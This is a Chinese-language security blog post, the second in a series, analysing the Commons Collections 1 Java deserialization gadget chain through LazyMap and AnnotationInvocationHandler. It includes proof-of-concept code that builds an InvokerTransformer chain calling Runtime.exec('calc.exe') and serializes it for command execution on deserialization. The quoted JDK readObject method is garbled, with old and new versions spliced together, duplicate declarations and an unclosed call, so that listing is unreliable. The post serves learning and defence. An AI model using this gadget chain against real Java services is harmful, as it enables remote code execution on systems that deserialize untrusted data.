Java安全之Commons Collections1分析(二)

nice_0e3發表於2020-10-10

Java安全之Commons Collections1分析(二)

0x00 前言

續上篇文,繼續除錯cc鏈。在上篇文章除錯的cc鏈其實並不是一個完整的鏈。只是使用了幾個方法的的互相呼叫彈出一個計算器。

Java安全之Commons Collections1分析(一)

下面來貼出他的完整的一個呼叫鏈

Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

0x01 LazyMap

在分析前先來看看LazyMap這個類,這個類和TransformedMap類似。都是AbstractMapDecorator繼承抽象類是Apache Commons Collections提供的一個類。在兩個類不同點在於TransformedMap是在put方法去觸發transform方法,而LazyMap是在get方法去呼叫方法。

當呼叫get(key)的key不存在時,會呼叫transformerChain的transform()方法。

修改一下poc,使用LazyMap的get方法來觸發命令執行試試。

 public static void main(String[] args) throws Exception {
        //此處構建了一個transformers的陣列,在其中構建了任意函式執行的核心程式碼
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //將transformers陣列存入ChaniedTransformer這個繼承類
        Transformer transformerChain = new ChainedTransformer(transformers);

        //建立Map並繫結transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        
        Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
        tmpmap.get("1");

    }

這樣也是可以成功的去執行命令。

0x02 AnnotationInvocationHandler

網上查詢資料發現AnnotationInvocationHandler該類是用來處理註解的。

AnnotationInvocationHandler類的建構函式有兩個引數,第⼀個引數是⼀個Annotation類型別引數,第二個是map型別引數。

在JDK裡面,所有的註解型別都繼承自這個普通的介面(Annotation)。

檢視它的readObject⽅法

 private void readObject(java.io.ObjectInputStream s)
         throws java.io.IOException, ClassNotFoundException {
       s.defaultReadObject();
       ObjectInputStream.GetField fields = s.readFields();
       @SuppressWarnings("unchecked")
        Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
       @SuppressWarnings("unchecked")
       Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
 
         // Check to make sure that types have not evolved incompatibly
 
         AnnotationType annotationType = null;
         try {
           annotationType = AnnotationType.getInstance(type);
           annotationType = AnnotationType.getInstance(t);
         } catch(IllegalArgumentException e) {
             // Class is no longer an annotation type; time to punch out
             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
         }
 
         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // consistent with runtime Map type
       Map<String, Object> mv = new LinkedHashMap<>();
 
         // If there are annotation members without values, that
         // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
       // for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
             String name = memberValue.getKey();
            Object value = null;
             Class<?> memberType = memberTypes.get(name);
             if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                value = memberValue.getValue();
                 if (!(memberType.isInstance(value) ||
                       value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                    value = new AnnotationTypeMismatchExceptionProxy(
                             value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                                annotationType.members().get(name));
                 }
             }
            mv.put(name, value);
        }

        UnsafeAccessor.setType(this, t);
        UnsafeAccessor.setMemberValues(this, mv);
    }

使用反射呼叫AnnotationInvocationHandler並傳入引數,這裡傳入一個Retention.class,和outerMap

Retention是一個註解類。outerMap是我們TransformedMap修飾過的類。

這麼這時候在 AnnotationInvocationHandlerreadObject方法裡面 memberValues就是我們使用反射傳入的 TransformedMap的物件。

 Class clazz =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,
                    Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)
                    construct.newInstance(Retention.class, outerMap);

這⾥遍歷了它的所有元素,並依次設定值。在調⽤setValue設定值的時候就會觸發TransformedMap⾥的
Transform,從而進入導致命令的執行。

0x03 POC分析

public static void main(String[] args) {
        
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {
                            String.class,
                            Class[].class }, new Object[] { "getRuntime",
                            new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {
                            Object.class,
                            Object[].class }, new Object[] { null, new
                            Object[0] }),
                    new InvokerTransformer("exec", new Class[] { String.class
                    },
                            new String[] {
                                    "calc.exe" }),
            };
            Transformer transformerChain = new
                    ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "xxxx");
            Map outerMap = TransformedMap.decorate(innerMap, null,
                    transformerChain);
            Class clazz =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,
                    Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)
                    construct.newInstance(Retention.class, outerMap);
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(handler);
            oos.close();
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new
                    ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        
    }
}

這裡可以看到 在Transformer[]陣列裡面儲存的是一個Runtime.class,而不是Runtime物件。這是因為Runtime並沒有實現java.io.Serializable 接⼝的 。是不可被序列化的。而Runtime.class是屬於java.lang.Classjava.lang.Class 是實現了java.io.Serializable 接⼝的。可以被序列化。

把這行程式碼序列化後,在後面的反序列化中並沒有去執行到命令。因為物理機的JDK版本較高,在高版本中的AnnotationInvocationHandlerreadObject是被改動過的 。 從而並沒有到達命令執行的目的,但是在低版本中的JDK是可以執行的。

0x04 參考文章

P牛的JAVA安全漫談系列
https://xz.aliyun.com/t/7031#toc-2
https://www.cnblogs.com/litlife/p/12571787.html
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

0X05 結尾

在分析該cc鏈時,總是從懵逼到頓悟到再懵逼,反反覆覆。在中途腦子也是一團糟。其實到這裡CC鏈的除錯也並沒有結束,本文只是一點基礎知識,為下篇文做鋪墊。

相關文章